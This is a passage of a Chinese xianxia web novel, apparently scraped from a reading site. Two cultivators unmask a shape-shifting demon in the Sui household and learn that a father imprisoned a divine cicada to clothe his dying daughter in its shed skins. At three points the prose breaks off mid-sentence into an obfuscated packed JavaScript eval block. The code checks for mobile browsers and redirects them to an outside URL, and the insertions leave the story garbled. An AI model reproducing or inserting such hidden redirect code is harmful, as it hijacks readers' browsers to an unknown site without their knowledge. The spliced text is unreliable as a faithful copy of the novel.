柳逸直答:“你用蛮力劈开,两三息时间就能打破这结界了,不过这里也可能会被夷为平地。” 岚孟皱眉嘀咕,真麻烦。 两人分头在结界周围查探。 - 结界中的院落灯火通明。 这个小院和岁弥的十分相像,温馨又雅致。墙角有棵老梅树,零星的花苞挂在枝头,树下有个圆形水缸。 一个男子坐在水缸不远处的高脚凳上,穿着一身靛蓝衣袍,清贵无双,遗世独立,仿佛与尘世喧嚣相隔离。他一只手托着腮,另一只手拿着一截梅树枝,绳子一头拴在梅树枝上,另一头垂入水缸里,像是在钓鱼。 裹得严严实实的岁弥坐在他旁边的藤椅上,手里捧着一碗鱼食,兴致勃勃地说着自己假扮观音时遇到的趣事。 岁弥自顾自讲了一会,身旁的男子也没有任何回应,他就像个好看的人偶,不会说话也不会动。 好像有一瓢冷水浇在心头,岁弥上扬的唇角缓缓放了下来,她的目光落在了墙角的 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不多时,一个家丁急匆匆跑了进来,朝杏圆道:“快回禀大小姐,老爷回来了!” 杏圆面上一喜,继而一惊,连忙提着裙摆跑上前大力拍门,“小姐,小姐!老爷回来了!” 很快,岁弥慌慌张张推开门出来了,杏圆连忙把狐裘披风给她披上,主仆二人急匆匆朝前院赶去,而剩下的三个家丁则分别离开了。 岚孟和柳逸直隐去声息,大摇大摆跟在岁弥身后来到了前院回廊,一个风尘仆仆但温和儒雅的中年人站在那里,见到岁弥以后一脸担忧地迎了上去,“你这孩子,不是说了不用来迎接吗,等为父过去找你就是了。” 这就是岁府当家人,岁寒山。 岁弥扑到父亲怀里,撒娇道:“女儿想爹爹了。” “乖女。”岁寒山轻轻拍了拍岁弥的背。 父女二人腻歪片刻才分开,岁寒山搀着岁弥的胳膊将她领到了正厅,一个身穿道袍的中年人坐在下方的椅子上。 岁寒山道:“王道长,让您久等了。” 岁弥看到王道长那一刻,脸上有惊惶一闪而过,她勉强挤出一分笑容,向王道长福了福身。 王道长点了点头道:“岁小姐不必多礼。” “王道长,您看什么时候开始合适?”岁寒山问道。 王道长掐指一算,“今夜戌时正。” “那就请道长在后院歇息片刻,我让下人给您准备饭食和热水。” 管家领着王道长下去了。 岁弥笑容僵硬:“爹,不是还有八天吗?怎么现在就请王道长过来了?” 岁寒山抿了抿唇,牵起岁弥冷冰冰的手,满脸严肃:“不要以为爹不知道,你身上这件衣服早就不中用了,为了你的身体着想,为父自然要早做打算。” 岁弥脸上的笑容越发僵硬,脸上的血色一下子便消失了,倏尔咳嗽起来,岁寒山连忙把手放在她的背上给她顺气,同时吩咐杏圆带大小姐回去。 杏圆个子不高,力气倒是不小,她稳稳把岁弥背了起来,步伐稳健地朝后院走去。 目送主仆二人离开以后,岁寒山也回了自己的屋子,正厅只剩下岚孟二人。 “那个王道长是什么情况?”柳逸直问道。 岚孟摇摇头:“不知道,以前也没听岁府的人说过有这么一号人物,看他们的样子,应该是早就有来往了。” “或许是和结界有关。不过这王道长才引灵境,结界不可能是他设下的。” “待会不就知道了?” 柳逸直想起了什么,再问:“岁老爷说的‘衣服不中用’是怎么回事?” 岚孟再摇头:“不知道。” 柳逸直鄙夷:“你怎么什么也不知道,亏你之前还来打探过消息。” “你不也没看出来岁弥身上的衣服有什么问题?”岚孟毫不客气地呛了回去。 柳逸直理直气壮道:“我一个大男人,总不能一直盯着人家姑娘看吧?那和登徒子有什么区别!” 岚孟啧啧称奇:“哎哟哟,也不知道是谁挣开绳索来偷看人家洗澡,眼睛都不带眨一下的。” “我——”柳逸直语塞,眼神躲闪道:“那是意外,更何况那是你自己站起来的……” 岚孟恍然大悟般点了点头,“所以那时说‘什么也没看见’果然是谎话吧?” 柳逸直只觉得搬起石头砸了自己的脚,嗯嗯啊啊半天也说不出个所以然来,只好夹着尾巴逃了。 此战大捷,岚孟心情大好,哼着歌儿,一蹦一跳朝岁弥的院子走去了。 41. 千面鬼 走在灯火通明的回廊上,柳逸直心里只有一个念头——一朝失足千古恨。 先前闫扶音被西明夫人呛的时候,他还幸灾乐祸,没想到报应这么快就来了。 以前看她同娄雪沁他们相处的时候总是言笑晏晏的,和他这个“前辈”说话时也礼貌谦逊,结果捅破窗户纸以后就锋芒毕露了,那张嘴就像是抹了毒似的,攻击力简直强得没边。 要不是自己的小命还被她捏在手里,柳逸直真想一走了之了。管她什么居心叵测的大妖,管她和暾云炬、和尧玦有什么不可告人的秘密,这些乱七八糟的事情都让山主们头疼去算了,干他一个虾兵蟹将什么事? 柳逸直幽幽叹了口气。 “刘管家,你让我准备的账目已经做好了,我送到您屋子里还是您来账房看?” 在柳逸直不远处,账房先生叫住了行迹匆匆的管家。 管家皱眉:“什么账目?” 账房先生愣了一下,“就是上个月府里的采买账目啊,您前天刚吩咐的。” 管家“哦”了一声,点点头道:“你直接给老爷吧。”说完他便转身离开了。 账房先生脸上的疑惑更甚,嘀咕道:“怎么回事?账本都是先由管家过目才能交给老爷啊……”他丈二摸不着头脑,带着满脸疑惑离开了。 柳逸直眯了眯眼睛,抬腿朝管家离开的方向走去。 他忽然想到了一点,魅妖的变化之术出神入化,凡人难以看出它和真人的区别,但修士却能一眼看出魅妖身上的妖气,毕竟魅妖虽然叫做妖,但只是修为高一点的精怪,并不能完全收敛自己的妖气。 但如果魅妖得到了能够收敛妖气的法宝呢?或许它并没有离开岁府,只是把自己隐藏起来了。 柳逸直追上了刘管家,躲在暗处看着他向王道长嘘寒问暖,吩咐下人做这做那。这样看来好像没有什么异常之处,不过柳逸直并没有放松警惕,观察刘管家的同时也注意着其他人的动向。 另一边,岚孟悄无声息地坐在了岁弥闺房的窗沿。 岁弥焦急地在房间里踱步,满脸的愁容,好像遇到了十分棘手的事情。 “该怎么办……杏圆,你说我现在装病不去还来得及吗?” 相比于主人的焦灼,杏圆倒是沉稳得像是个风雨不动的树桩,“小姐,你一直在生病,不用装。” “那你去和爹说我累了,已经睡下了。” 杏圆反驳道:“小姐,老爷会让我背着您去的。而且王道长已经算好吉时了,就算是刮风下雨、房子着火,老爷也不会改变心意的。” 岁弥气得跺了跺脚,“那你说怎么办!” 杏圆劝道:“小姐,你就算不为自己着想,也该想一想老爷。老夫人过世了,老爷就只剩您一个亲人了,您要是有什么三长两短,老爷该怎么办?你忍心让老爷白发人送黑发人吗?” 岁弥停下了脚步,贝齿咬着下唇,眼中水汽氤氲。 这些道理她不是不明白,可是,她已经苟活了五年,怎么能一错再错…… 在暖和的房间里,岁弥没有穿狐裘,身上只着一件单衣。岚孟看了又看,也没发现她身上这件衣服有何特别之处,顶多是料子好点、花纹别致点,在她眼中和平常衣物也没什么不同。 不,要说奇怪之处,仔细观察一下还是能看出来一些门道来。待在同一个屋子里,杏圆还穿了棉袄,岁弥一个久病之人却只着一件单衣,还不会觉得冷。细看之下,那衣服上的纹样并是不绣上去的,却条理分明,精美异常,岚孟不觉得依照民间的染布技术,能做出来这样华丽的效果。 最重要的是,岚孟隐隐感受到衣服上有一丝天地法则之力。 天地法则之力比灵气、元气要玄乎得多,非闻道境之人不可察,而岁弥衣服上的法则之力微乎其微,若不是岚孟牟足了劲盯着衣服看,说不定发现不了这个线索。 岁弥一个大门不出,二门不迈的闺阁小姐,缘何会日夜穿着蕴含法则之力的衣裙?那一丝法则之力的作用到底是什么? 岚孟只感觉自己现在满头的雾水。 岁弥焦灼半天也想不出一个可行的办法来,然而时间不等人,戌时正到了,杏圆背着她前往结界所在之地。 岁寒山、王道长和刘管家已经等在门口了,结界开了一条缝,王道长率先走了进去,岁寒山让管家先进去,自己则从杏圆背上接过岁弥,将她打横抱了进去。 柳逸直和岚孟也跟着走进了结界里。 崝还是安之若素地坐在高脚凳上用梅树枝钓鱼,见到人来也没有任何反应。 岁弥抿紧了唇,她站在岁寒山身侧,双手紧张地揪着身上的斗篷。眼睛却不安地盯着崝。 “爹,要不还是再等几天吧……” 岁寒山沉下脸,语气严肃:“弥儿,此事由不得你任性。” “可是……” “没有可是!”岁寒山打断她的话,“你若是害怕,便闭上眼睛,捂住耳朵,很快就结束了。” 岁寒山看向王道长,紧张地问:“如何?” 王道长颔首:“尚可,为小姐制衣不成问题。” 岁寒山倏尔松了一口气,“那道长,您开始吧。” 王道长朝男子走去,然而没走两步,他忽然感觉心上一疼,口中有腥甜的血涌了上来,他低头一看,只见自己心口上冒出了半截刀尖,汩汩鲜血从刀尖上涌了出来,一滴一滴砸到石板砖上。 岁弥尖叫了一声,岁寒山连忙将她搂进怀里,满脸惊骇地看着刘管家,“你,你不是刘管家!” 刘管家,不,应该说是魅妖,用力将刀从王道长胸口拔了出来,王道长跌倒在了地上,竟是直接死了。 魅妖舔了舔刀尖上的血,脸上露出狰狞恐怖的笑容,“老爷,我就是刘管家啊,”他指了指自己的肚子,“刘管家在我肚子里呢,我即是他,他即是我。” 岁寒山大骂道:“你个丧心病狂的妖物!” 魅妖歪了歪头,骨骼“喀喀喀”响了起来,“妖物?嗬嗬嗬,很快就不是了。” 魅妖转向专心致志垂钓的男子,他就一个人安静地坐在那里,即使院子里刚发生了杀人惨案,他也岿然不动,眼中只有那一口小小的水缸。 魅妖握着刀一步一步走向他,眼里满是贪婪,口中呢喃着:“蝉衣是我的,是我的了……” “不要!”岁弥大喊一声,奋力挣开岁寒山的怀抱,跌跌撞撞地朝崝跑了过去,用自己的身体护住了他,朝魅妖道:“我身上的蝉衣给你,你别伤他!” 魅妖冷笑:“老子才不要女人穿过的破衣裳!”他大步流星走过去,扯住岁弥的胳膊将她扔了出去。 岁弥撞到了墙上,猛地吐出了一口血。 “弥儿——”岁寒山连忙扑过去把岁弥抱在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岚孟拎着岁寒山后颈的衣物将他带离,同时,柳逸直赤手空拳朝魅妖袭去,魅妖以匕首格挡,属于刘管家的脸消失了,一会变成王道长,一会变成刀疤脸的武夫,手上功夫也随着脸的变化而变化,然而终归是花拳绣腿,五六招之内便被柳逸直打回了原形——一团蹴鞠大小的透明胶状物,被柳逸直收进了锦盒里。 岚孟让岁寒山靠在墙边,朝他嘴里塞了一个枚止血的丹药,岁弥哭着爬了过来,双手哆哆嗦嗦不敢触碰双眼紧闭的父亲。 岚孟一把将她的手按在了岁寒山胳膊上,道:“死不了,我用灵力护着他呢,只不过是腰上擦破了点皮罢了。” 岁弥泪流不止:“那为什么爹闭着眼睛?” 岁寒山睁开了眼睛,用力咽了一下口水,“药太苦了,爹怕自己的眼泪流下来。” “……”岁弥的眼泪一下子就止住了。 柳逸直在锦盒上加了一道封印,扭头望向墙角处鬼鬼祟祟的两人,扬声道:“那边的两位!” 少年牵着崝的手准备偷偷溜走,然而这一声吓得他一个激灵,直愣愣停在了原地。 柳逸直走了过来,绕到两人身前,他本来想说“你们要去哪”,可说话之前抬眼对上了蓝衣男子沉静祥和的目光,话吐出口却成了“您要去哪”。 柳逸直:?他为什么要说敬语? 他掩唇咳嗽一声掩饰自己的尴尬,缓声道:“等事情了结了,二位再离开也不迟。”他指了指少年,补充道:“你身上的伤也得尽早处理。” 经他提醒,少年才感觉自己身上哪哪都疼,两眼一花、双腿一软便往后栽倒在了地上。 42. 轮回蝉 岁寒山被蔷薇藤捆住了手脚,他奋力挣扎着,眼中布满了血丝,一眼不眨地盯着柳逸直,苦苦哀求道:“求求你仙长!求求你住手!弥儿会死的!我就这一个女儿,她会死的……” 柳逸直手里拿着从岁寒山身上搜出来的结界玉牌,看向岁寒山,“岁老爷,在下打破结界,和令千金似乎并没有直接关系吧?” 岁寒山一下子噤声了,嘴巴翕动半天,说不出一句话来。 柳逸直五指收紧,玉佩便在他掌中碎成了好几瓣,紧接着瓷器破碎的声音响起,结界应声而解。 岁寒山望着如镜面碎裂般的结界,看着法力线条一点一点消失,他眼中的希望也一点一点破灭,最终,他慢慢停止挣扎,瘫倒在了地上。 守在院落门口的家丁们闯了进来,杏圆看到躺在地上不省人事的岁弥时吓得叫了出来,她飞扑过去,见岁弥的脸苍白得厉害,伸手一试才发现她的额头滚烫异常。 杏圆的眼睛“唰”地一下流了下来,她怒吼道:“你们对小姐做了什么!” 岚孟“啧”了一声,皱眉道:“你要是现在带她回去,熬点人参汤给她灌下去,她就还有得活。” 杏圆愣了一下,连忙招呼家丁们把岁弥送回她的院子里。 见岁寒山不再挣扎,岚孟便收回了蔷薇藤。 少年的手扶在崝抬起的胳膊上缓缓走了过来,靠近柳逸直时,他立马大跨两步走到柳逸直身边,两手箍着他的胳膊,道:“你搀着我点。” 柳逸直瞥了蓝衣男子一眼,再低头质问少年:“你怎么不让他扶?” 少年骂道:“怎么能让元君扶我!你丫的懂不懂规矩!” 柳逸直:“……” 岚孟走进屋子里,毫不客气地在椅子上坐下,用灵力烧开了壶里的水,给自己泡了杯茶。 崝走了进来,坐在了她对面的椅子上。 柳逸直扶着少年坐在椅子上,低头问他:“你需要什么来治伤?” 少年瞥他一眼,哼道:“我说了,你就能拿出来吗?” 柳逸直挑眉:“你都不说,又怎么知道我没有?” “幽冥草和并蒂彼岸花,你有吗?”少年仰着下巴,笃定了眼前这人拿不出来这两种绝世灵药。 事实确实如此,柳逸直摇头道:“我确实没有。” 在少年嘲弄之前,他指了指背后的闫扶音,勾唇一笑:“但是她有。” 岚孟睨了柳逸直一眼:“你倒是会借花献佛。” 柳逸直耸了耸肩,好像在说:你就说给不给吧! 岚孟把手伸进芥子袋里掏了掏,摸出两颗种子来,然后走出门去,把种子按进泥土里开始催生。 墙边,家丁们举着木棍把岁寒山护在身后,满脸戒备地盯着她,一个大夫拎着药箱姗姗来迟,手忙脚乱地给半死不活的老爷清理伤口。 这岁寒山倒也算是个人物,岚孟想。 她拿着一株通体全黑的草和血红色并蒂彼岸花回到屋中,一把抛到了少年怀里。 少年眼睛都直了,由衷赞叹道:“你好厉害!居然这么快就能用种子种出花来!” 岚孟回到自己的位置上,举了举茶杯:“过奖。” 她看向崝:“这可不是白给的,我要一截扶桑木,大小不论。” 扶桑木?柳逸直猛地抬起了头,他打量着正襟危坐的蓝衣男子,语带犹疑:“二位是旸谷之人?” 旸,明也,日出于谷而天下明,是谓旸谷。传说中,旸谷是日神羲和的神邸,谷中有一扶桑木,高三千里,可直达上界,俗称通天神树。树上有鸣蝉,通体雪白,是羲和行走人间的使者,名曰“轮回蝉”。 少年将幽冥草和并蒂彼岸花揉作一团,扯开衣襟,涂抹在了横亘胸前的伤口上,血瞬间便止住了,伤口以肉眼可见的速度开始愈合。他穿好衣服,跳下了椅子,双手叉腰道:“想不到你这人还挺有见识的嘛!” “没错!我们出身于日神羲和的神国旸谷!是你惹不起的人!这位!”他三两步就蹿到崝的斜前方,一手背在身后,一手指着崝,满脸骄傲:“就是我们轮回蝉元君,十里八乡最俊俏的后生——崝!” “而我,”少年握起拳头,以拇指指着自己,“乃是元君座下第一护卫!琮大侠是也!” 一时间静悄悄的,落针可闻。 一抹绯红逐渐爬上琮的脸颊,他气得跺了跺脚,“你们这啥反应,说句话啊!” 柳逸直把头凑近岚孟,低声道:“他传奇话本看多了吧?” 岚孟继续喝茶,“估计看得不少。” 崝掩唇轻轻咳了一声,“让二位见笑了,这孩子心思比较单纯。” “元君!怎么你也这样!我辛辛苦苦找了您五年!您都不夸我一下,还和那两个无耻之徒一起嘲笑我!” “无耻之徒”柳逸直和岚孟不约而同笑了一声。 崝无奈道:“他们怎么放心让你一个人出来?” 琮双手环胸,撅着嘴道:“那还能怎么办?鸿老早就不知道跑哪玩去了,芷得守着扶桑木,可不就只能由我来找您了吗?”整个旸谷就他们四个人,早就忙不过来了,奈何轮回蝉由扶桑木诞生,几百年也孕育不出一只蝉来,人类怀胎还要十个月呢,更何况是一棵树。 崝叹了口气,“让你们担心了。” 岚孟把茶杯放在了桌子上,“堂堂轮回蝉元君,怎么会被人类捉住,关在拙劣的结界里,还被剥了蝉衣?” 关于这个问题,琮也十分好奇,三双眼睛齐齐看向崝。 不同于普通蝉类只活一个夏天,轮回蝉生而为妖,具有极其漫长的寿命。就像凤凰浴火重生一样,轮回蝉也有类似的修炼方式,每隔五百年,轮回蝉就会迎来长达十七年的蜕壳时间。在这十七年里,轮回蝉会失去所有法力,每隔一年蜕一次蝉衣,直到蜕下来的十七张皮合为一件,功德才算圆满。 蜕皮之时不得受到外界的干扰,但又不能在旸谷之内,所以崝早早就在荒无人烟的其南山中找好了地方,也安安生生经历了十次蜕壳。 可就在第十一次的时候,岁寒山带着人闯进了洞穴里,不仅抢了他的蝉衣,还把他掳走了,关在了结界里。他没有法力不得逃脱,只能任人宰割,所以每到他蜕皮之时,岁寒山就会找王道长来,剥下他的蝉衣给他的宝贝女儿穿。 岚孟道:“我观岁弥的衣上有一丝法则之力,莫非就是你那蝉衣让她起死回生?” 崝:“起死回生不至于,不过是钻了法则漏洞,欺瞒了生死罢了。” “法则漏洞……”岚孟重复道,“你莫非是光系?时间法则?” 崝点了点头,“历代羲和神使都掌握着时间法则,我也不例外。岁弥本该死于五年前,但是她穿上了我的蝉衣,她的时间就不会往前走了,所以她才活到了现在。” “难怪她已经二十岁了,但瞧着才刚及笄的样子。”岚孟恍然大悟,这其实同她用血和重明尾羽暗算许渭是一样的路数。 “凡人不可能有这么高明的手段,岁寒山背后必有高人指点。”柳逸直道。 “这就得问岁老爷本人了。” 崝把目光投向门口,岁寒山被人扶着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929638|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢慢走了进来,然后“噗通”一声跪了下来。 他的精气神像是一下子被抽干了,脸色衰败暗淡,声音喑哑:“十五年前,我儿不慎落水,危在旦夕,一个姑娘找到了我,说是能救我儿的性命,代价是我的一只眼睛。我答应了,她就给我看了一本书,上面写着让我去其南山找一个蝉妖,把他的蝉衣扒下来给弥儿穿,弥儿就不会死。” 说到这里,他掩面哭了起来,泪水从指缝中淌下来,滴滴答答砸在了地面上。 “所以我才设计抓了崝先生。一切都是我的错,和弥儿没有半点关系,她什么都不知道,还请各位仙长高抬贵手,放弥儿一条生路。” 岁寒山弯腰叩拜,头磕在地上发出沉重的响声。 柳逸直听着这故事耳熟得很。他从芥子袋里掏出了一张画像,上面画着一个豆蔻年华的少女,一双红色瞳孔十分醒目,他半蹲在岁寒山身侧,问道:“你说的姑娘,可是此人?” 岁寒山抬起头看了画像一眼,惊奇道:“就是她!” 这个动作让柳逸直看清了岁寒山的右眼——不会转动,没有光泽,也不会倒映眼前景物,显然已经坏死了,若不是仔细观察还真发现不了。 他站起身来,看向岚孟,意有所指道:“是‘燧明之书’,那姑娘想必是凤凰一族。” 岚孟别开眼睛,不再和柳逸直对视。 原来还有只瞎一只眼睛这种选择,早知道她也该找那个凰族女子交易。现在整天戴着帷帽真的很麻烦。 虽然她也想过把鲛云纱裁成条绑在眼睛上,但那不就等于和全天下说我眼睛有伤我是个瞎子吗? 岚孟在心里默默叹了口气,真是遭罪啊。 琮冷哼了一声,“你磕几个头,假模假样掉几滴眼泪,就能抵消你的罪孽了吗!你知不知道被人提前剥下蝉衣会折损轮回蝉的寿数啊!” 岁寒山深深俯拜,“在下会以死谢罪,只求崝先生和几位仙长放过小女……” “就算是你下十八层地狱也于事无补,更何况没了蝉衣,你女儿又有几日可活?” “琮。” 崝出声打断了琮,少年不服气地嘟囔,“我又没说错。” 琮的话语就好像利剑,深深扎在了岁寒山的心头,他的双肩抖动不止,哭泣声传入了众人耳中。 崝看着跪在地上低泣不止的岁寒山,终于叹了口气,道:“不久以后,这里将会有雪灾,你去救灾吧,就当是赎罪了。” 岁寒山身形一顿,继而哐哐给崝磕头,语无伦次道:“多谢先生,多谢先生!” 崝站起身来,朝岚孟道:“扶桑木我会送到府上。” 岚孟怔了一下,随即明白他是认出自己的身份了。 诸神神使每一百年才举行一次会面,她上任不过十六载,还未参加过神使会面,按理来说这羲和神使应当不认识她来着。 管他怎么认出自己的,当务之急是先遮掩过去,柳逸直那厮可还在呢。 岚孟忙道:“你直接给我就行,别送去,嗯,给我就行。” 他们对话中的漏洞太多,柳逸直立即意识到二人相识了。 “我们走吧。”崝朝琮道。 琮高兴得从椅子上跳了起来,两人一前一后往外走,没给岁寒山一个眼风。 岚孟也站了起来:“既然已经没什么事,那我也告辞了。” 就在这时,杏圆出现在院门口,气喘吁吁道:“老爷,小姐醒了。” 岁寒山立即从地上爬起来跑了出去。 柳逸直犹豫片刻,跟上了渐行渐远的两人。 43. 喝花酒 “崝先生,请等一下。”柳逸直在岁府大门口追上了两人。 柳逸直郑重地自报了家门,然后才说明了自己的来意:“您可以告知我闫扶音的来历吗?” “闫扶音……”崝重复道,“她现在叫这个名字吗?” 柳逸直心道,这果然不是她的本名。 “你没有当面问过她吗?”崝慈祥道。 柳逸直面上一囧,“她不可能坦白的。” “既然如此,那你还是自己找答案吧。或许你可以换一个问题,我若是知道,定会如实相告。” 柳逸直想了一下,问道:“那您知道为何尧玦的尾羽能够解开记忆封禁术吗?” 崝道:“很简单,重明尾羽具有尧玦的一丝法力,若你说的记忆封禁术是依托尧玦的法力设下的,那么他的尾羽就能解开这个术法。” 崝和琮离开很久以后,柳逸直还没有从沉思中回过神来。 依据尧玦的法力设下……究竟是什么意思? - 岁弥挣扎着想要起身,岁寒山连忙将她按了回去,岁弥眼中含泪,问道:“爹爹,崝怎么样了?” 岁寒山的目光躲闪了一下,道:“他走了,没有追究爹的责任。” 岁弥直愣愣盯着床帐,眼泪终于从眼角滑落,枕巾很快就被打湿。 岁寒山见女儿伤心欲绝的样子十分心酸,可是怎么说都是他们父女俩对不起人家,更何况人家还是神官,是明明天上月,不计较他们庶民的罪过已是万幸,怎能再奢求更多? 他一时间不知道该说些什么宽慰的话,只能用力握紧了岁弥的手。 月上中天,岁寒山走了,杏圆等人也退出了房间。 岁弥于黑暗中睁开眼,看了头顶的纱帐很久,才压低了声音询问:“闫姑娘,你能过来一趟吗?” 四下无声,久到岁弥都以为闫扶音已经不会回应了的时候,窗户吱嘎一声轻响,黑衣姑娘翻窗跳了进来,带来了一身寒意。 她坐在自己床边,看向自己的目光沉静柔和,她问道:“什么事?” 岁弥双手用力把自己撑了起来,靠在床头,唇边是苍白浅淡的笑,“对不起啊,闫姑娘,这么晚了还请你过来。可我实在是没什么朋友能说说话,现在能想到的只有你了” 岚孟摇摇头:“没事,修行之人不需要睡觉。” 岁弥半天也说不出一句话来。 她该说什么?说我五年前就早该死了,多亏了崝的蝉衣才活了下来,可他是受害者,被岁家囚禁了五年,她这个罪魁祸首还爱上了他,甚至还幻想过和他喜结连理吗? 岁弥笑了出来,骨节分明的手轻轻抚着身上朴素的蝉衣,坦白道:“这件蝉衣,再过八天就要满一年了,我本来打算观音诞辰之后就去偷爹的结界玉佩放他走的。” “那你自己怎么办?”岚孟问道。 “我本就是该死之人,是我贪恋红尘,才又苟活了五年,是时候把偷来的命还回去了。” 岁弥梨花带雨的模样真是我见犹怜。 本着来都来了的原则,岚孟悄悄拿出了琉璃瓶。她特意从袁涯邻手里买了这琉璃瓶,可以自行辨别是哪一种眼泪。 悔泪,死泪,相思泪……直到试到生泪的瓶子,那滴泪珠才顺畅地滑进了瓶中。 “闫姑娘,你有那种可以让我看起来气色很好、身强体壮的丹药吗?最后这几天,我想好好陪一陪爹。”岁弥终于调整好了情绪,鼓足勇气询问道。 岚孟拿出来一个玄灵果递给她,“直接吃就行。” 岁弥郑重地道了声谢,“我有什么东西是您需要的?我不能白白收下这果子。” 岚孟抬手用指节抚去她眼角未干的泪痕,勾唇笑道:“那七日后的观音诞辰,你便去扮观音,帮我收集黎民众生的眼泪吧。” - 次日,太阳高高挂在天空,平等照耀着世间每一个生灵。 岚孟找了大半个时辰,才在城东河边看到了柳逸直的踪影。她走上石拱桥,来到他身边,问道:“你在看什么?” 柳逸直比了个噤声的动作,朝桥下面指了指。 岚孟顺着他的手指看去,只见几个小孩在河里玩耍。冬季枯水,两岸河床裸露了出来,他们也不嫌冷,赤着脚往河里走,目标是河心里嘎嘎直叫的鸭子。 小孩们将鸭子团团围住,鸭子无处可逃,终于被其中一人一把捉住了脖颈,小孩们欢呼起来。 然而那鸭子却在欢呼声中变成了一块砖头,把小孩们吓得不轻,撒手丢开砖头,哭爹喊娘地往岸上跑去,砖头“噗通”一声掉进了河水里。 过了一会儿,一只鸭子浮出水面,一边在河里游动一边嘎嘎叫着。 柳逸直飞身而下,掠过河面,一把捞起鸭子后又飞了回来,鸭子在他手中变作砖头,他蹲在桥边的栏杆上,笑着把砖头递给岚孟。 “送你。” 岚孟面露嫌弃:“拿走。” 柳逸直爽朗地笑了一声,“听说这里有既像鸭子又像砖头的怪物出没,我前来一看,果然是鸭砖。好在现在是枯水期,河水都没有孩童小腿深,还没有人被诱入河心淹死。” 岚孟淡淡道:“不愧是锄强扶弱的丹灵卫。” 柳逸直把砖头往空中一抛,风刃将其切割成了五六七八块,摔在桥面上血花四溅,不多时,那砖那血都化为虚无消失不见了。 他偏头看了岚孟一眼,问道:“你找我有事?” 岚孟直言道:“把魅妖给我。” “凭什么?那是我抓住的。”柳逸直拒绝道。 “那你开个价吧,要钱还是要灵植?” 柳逸直不发一言,只用左手点了点右手手腕,暗示意味明显。 岚孟道:“这不还没集齐苍生泪么?我就是想给你解毒也没办法。” “那你请我喝酒吧。”柳逸直道。 岚孟疑惑:“喝酒?” “对,请我喝介城里最好的酒,我就把魅妖给你。” “那好吧,我去打听打听。” 戌时,柳逸直站在人来人往的热闹街巷里,仰头望着金碧辉煌、红烛摇曳的楼宇,姑娘们的欢声笑语传入他的耳中,阵阵香风拂过他的脸颊。他惊讶得合不上嘴,僵硬地把头转向身侧之人,强颜欢笑道:“你带我来这喝酒?” 岚孟偏头看他,纳闷道:“你怎么一副很不情愿的样子?我打听过了,介城最好的酒都在这里,就算喝到天亮也不会有人赶你走。” 柳逸直无言以对。 人家就是做这门生意的,当然不会赶客人走! “所以你就带我来青楼喝花酒?” “怎么就是喝花酒了?我又没说要给你点姑娘。”岚孟双手环胸,面带审视,“还是说你想要?年轻人气血方刚,正常正常。” 柳逸直扭头就走。 岚孟连忙拽住他的胳膊:“回来,我错了还不行吗?听说今晚有乐宴,我花了大价钱才订到一个雅间的,咱就喝酒听曲儿,不会有其他人打扰的。” 岚孟脸上是讨好的笑容,她望着柳逸直的眼睛,真诚道:“真的,骗你是小狗。” 柳逸直瞥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他叹了口气,走到桌边看了看,一共四坛,分别是桑落,鹤殇,罗浮春,九州春色。柳逸直的舅父家便是开酒庄的,所以他对这些酒不陌生,都是人人称赞的好酒,价格也相对高昂。 他开了一坛九州春色,拎着酒坛和酒盏坐在岚孟对面的矮塌上,斟了两杯酒,推了一杯给她。 岚孟看他:“我不喝。” 柳逸直挑眉:“不敢?” 岚孟别开目光,“我不爱喝酒。” “是吗?庆功宴那夜喝得不是挺开心的?” 岚孟心中冷笑。难怪要让她请他喝酒,果然是打算灌醉她好套话吧? 不过,他还是太嫩了点。 岚孟端起酒盏和他碰杯,笑盈盈道:“那我就却之不恭了。”然后将酒一饮而尽,还朝他露了露空空如也的酒盏,挑衅地看了他一眼。 柳逸直见状便又给她倒了一杯。 两人心照不宣地开始拼酒,就这样你一杯我一杯,三坛美酒下肚,自以为酒量不浅的柳逸直都已经有些晕乎,而岚孟还是气定神闲的样子。 柳逸直揪着她的袖子,双眼迷离地问:“你果然是做了手脚吧?” 岚孟撑着下巴,两眼看着他,唇边含笑道:“你现在才发现?平日里不是猴精猴精的么,今日怎的这般迟钝?逸直师兄,这样不行啊。” 她就三杯的酒量,不做手脚怎么可能赢得过他? 柳逸直松开她的袖子,往后躺在了矮塌上,抬起手用袖子遮住眼睛,闷闷道:“你惯会利用我。” 岚孟把目光投向窗外,压低了嗓音:“你也可以算计回来。” 44. 空山赋 明月的清晖撒向中央的莲台,给每一个乐师的身上都披了一层莹光。 柳笛,瑶琴,编钟,玉箫,琵琶,唢呐,二胡,大、中、小阮,大、小忽雷…… 莲台上的二十多位姑娘坐成三排,手中的乐器各不相同,她们的妆容各不相同,眉目或恬静或娇艳,每个人都是这月光下独一无二的娇花。 “铮——” 瑶琴率先发出了第一抹乐声,好似翩然飘落的树叶激起涟漪,一切喧嚣都随着波纹远去,空气都安静了下来。 “铮——” 第二抹琴音传来,悠扬浩瀚的乐声如涟漪般散开。 如高山之流水落深涧,叮咚作响,奔腾不息。又如振翅之莺鸟入云天,自由腾飞,浩瀚天际。 琵琶急促,柳笛清脆,玉箫呜咽,阮声悠扬。 乐师们的配合天衣无缝,天籁一般的乐声淌入人们耳中,在场之人无一不如痴如醉。 